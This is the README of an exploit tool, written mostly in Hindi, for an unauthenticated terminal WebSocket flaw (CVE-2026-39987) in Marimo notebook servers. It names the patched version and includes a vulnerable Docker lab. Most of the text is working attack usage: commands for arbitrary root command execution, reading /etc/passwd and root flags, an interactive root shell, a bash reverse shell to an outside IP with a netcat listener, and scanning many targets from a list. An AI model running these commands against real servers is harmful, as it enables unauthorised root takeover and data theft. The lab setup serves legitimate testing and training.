
Marimo प्री-ऑथ RCE के लिए एक्सप्लॉइट टर्मिनल WebSocket के माध्यम से, जो अधिकृत पेनेट्रेशन टेस्टिंग के लिए कमांड निष्पादन, इंटरैक्टिव PTY शेल, और रिवर्स शेल क्षमताएं प्रदान करता है।
_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __ |
/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ /
\____/ |___/_____/ /____/\____/____/\____/ /____//____//____/\____/
WebSocket Unauthenticated RCE | github.com/Ghxstsec/CVE-2026-39987
Marimo (19.6k ⭐) एक ओपन-सोर्स रिएक्टिव Python नोटबुक सर्वर है। संस्करण ≤ 0.20.4 एक टर्मिनल WebSocket एंडपॉइंट (/terminal/ws) उजागर करते हैं जो प्रमाणीकरण को पूरी तरह से छोड़ देता है, भले ही सर्वर पर प्रमाणीकरण सक्षम हो।
एक भी बिना प्रमाणीकरण वाला WebSocket कनेक्शन एक पूर्ण PTY इंटरैक्टिव शेल प्रदान करता है। डिफ़ॉल्ट Docker परिनियोजन में, कमांड root के रूप में निष्पादित होते हैं।
स्थिति:
0.23.0में पैच किया गया — marimo-team/marimo@c24d480
/terminal/ws एंडपॉइंट में validate_auth() कॉल का अभाव है जो हर अन्य प्रमाणित एंडपॉइंट में मौजूद है:
# ❌ /terminal/ws — कोई प्रमाणीकरण जाँच नहीं (कमजोर)
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
# कोई प्रमाणीकरण जाँच नहीं!
await websocket.accept() # सीधे स्वीकार करता है
child_pid, fd = pty.fork() # PTY शेल उत्पन्न करता है
# ✅ /ws — सही ढंग से प्रमाणित
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth(): # प्रमाणीकरण लागू
return
Marimo का AuthenticationMiddleware बिना प्रमाणीकरण वाले कनेक्शनों को UnauthenticatedUser के रूप में चिह्नित करता है लेकिन उन्हें अस्वीकार नहीं करता — प्रवर्तन पूरी तरह से प्रति-एंडपॉइंट डेकोरेटर या validate_auth() कॉल पर निर्भर करता है। /terminal/ws में दोनों में से कोई भी नहीं है।
1. ws(s)://TARGET/terminal/ws से कनेक्ट करें → कोई टोकन आवश्यक नहीं
2. websocket.accept() → कनेक्शन स्वीकृत
3. pty.fork() → PTY शेल उत्पन्न
4. कोई भी कमांड भेजें → root के रूप में मनमाना RCE
| सॉफ्टवेयर | कमजोर | पैच किया गया |
|---|---|---|
| Marimo | ≤ 0.20.4 | ≥ 0.23.0 |
pip install -r requirements.txt
python3 CVE-2026-39987.py -u https://target.htb
python3 CVE-2026-39987.py -u target.htb:2718
python3 CVE-2026-39987.py -u wss://target.htb/terminal/ws
python3 CVE-2026-39987.py -u target.htb -c "cat /root/root.txt"
python3 CVE-2026-39987.py -u target.htb -c "cat /etc/passwd"
WebSocket के माध्यम से सीधे इंटरैक्टिव शेल में प्रवेश करें — किसी लिसनर की आवश्यकता नहीं:
python3 CVE-2026-39987.py -u target.htb -i
[+] इंटरैक्टिव शेल — कमांड टाइप करें, बाहर निकलने के लिए Ctrl+C या 'exit'
root@target:/# id
uid=0(root) gid=0(root) groups=0(root)
root@target:/# whoami
root
रिवर्स शेल पेलोड का उपयोग करते समय, प्रक्रिया को nohup ... & के साथ PTY से अलग करें
ताकि WebSocket कनेक्शन बंद होने पर भी यह जीवित रहे:
# पहले लिसनर सेट करें
nc -lvnp 4444
# फिर पेलोड चलाएँ
python3 CVE-2026-39987.py -u target.htb \
-c "nohup bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' &"
⚠️
nohup ... &के बिना, शेल प्रक्रिया PTY से जुड़ी रहती है और WebSocket बंद होने पर समाप्त हो जाती है। सीधे शेल के लिए-iया रिवर्स शेल के लिएnohupका उपयोग करें।
python3 CVE-2026-39987.py -l targets.txt -c "id" -t 3
-u URL, --url URL एकल लक्ष्य URL या होस्ट
-l LIST, --list LIST लक्ष्यों वाली फ़ाइल, प्रति पंक्ति एक
-c CMD, --cmd CMD निष्पादित करने के लिए कमांड (डिफ़ॉल्ट: id && cat /root/root.txt)
-p PATH, --path PATH WebSocket एंडपॉइंट पथ (डिफ़ॉल्ट: /terminal/ws)
-t SEC, --timeout SEC हार मानने से पहले मौन के सेकंड (डिफ़ॉल्ट: 2)
-d SEC, --delay SEC बैनर खाली करने से पहले कनेक्ट-पश्चात विलंब (डिफ़ॉल्ट: 1)
-i, --interactive इंटरैक्टिव PTY शेल — कनेक्शन खुला रखता है
--verify SSL प्रमाणपत्र सत्यापन सक्षम करें (डिफ़ॉल्ट रूप से अक्षम)
-q, --quiet स्थिति संदेश दबाएँ, केवल आउटपुट
$ python3 CVE-2026-39987.py -u https://nb-1be3782a8afd3ad5.cohort.htb
_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __ |
/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ /
\____/ |___/_____/ /____/\____/____/\____/ /____//____//____/\____/
[*] लक्ष्य : wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws
[*] मोड : कमांड
[*] कमांड : id && cat /root/root.txt
[*] कनेक्ट हो रहा है...
[*] बैनर खाली किया जा रहा है...
[+] पेलोड भेजा जा रहा है...
[+] आउटपुट:
uid=0(root) gid=0(root) groups=0(root)
HTB{...}
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]
docker build -t marimo-vuln .
docker run -p 2718:2718 marimo-vuln
python3 CVE-2026-39987.py -u ws://localhost:2718
यह उपकरण केवल शैक्षिक और अधिकृत पैठ परीक्षण उद्देश्यों के लिए प्रदान किया गया है।
लेखक इस उपकरण के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है।
किसी भी ऐसी प्रणाली का परीक्षण करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें जो आपकी नहीं है।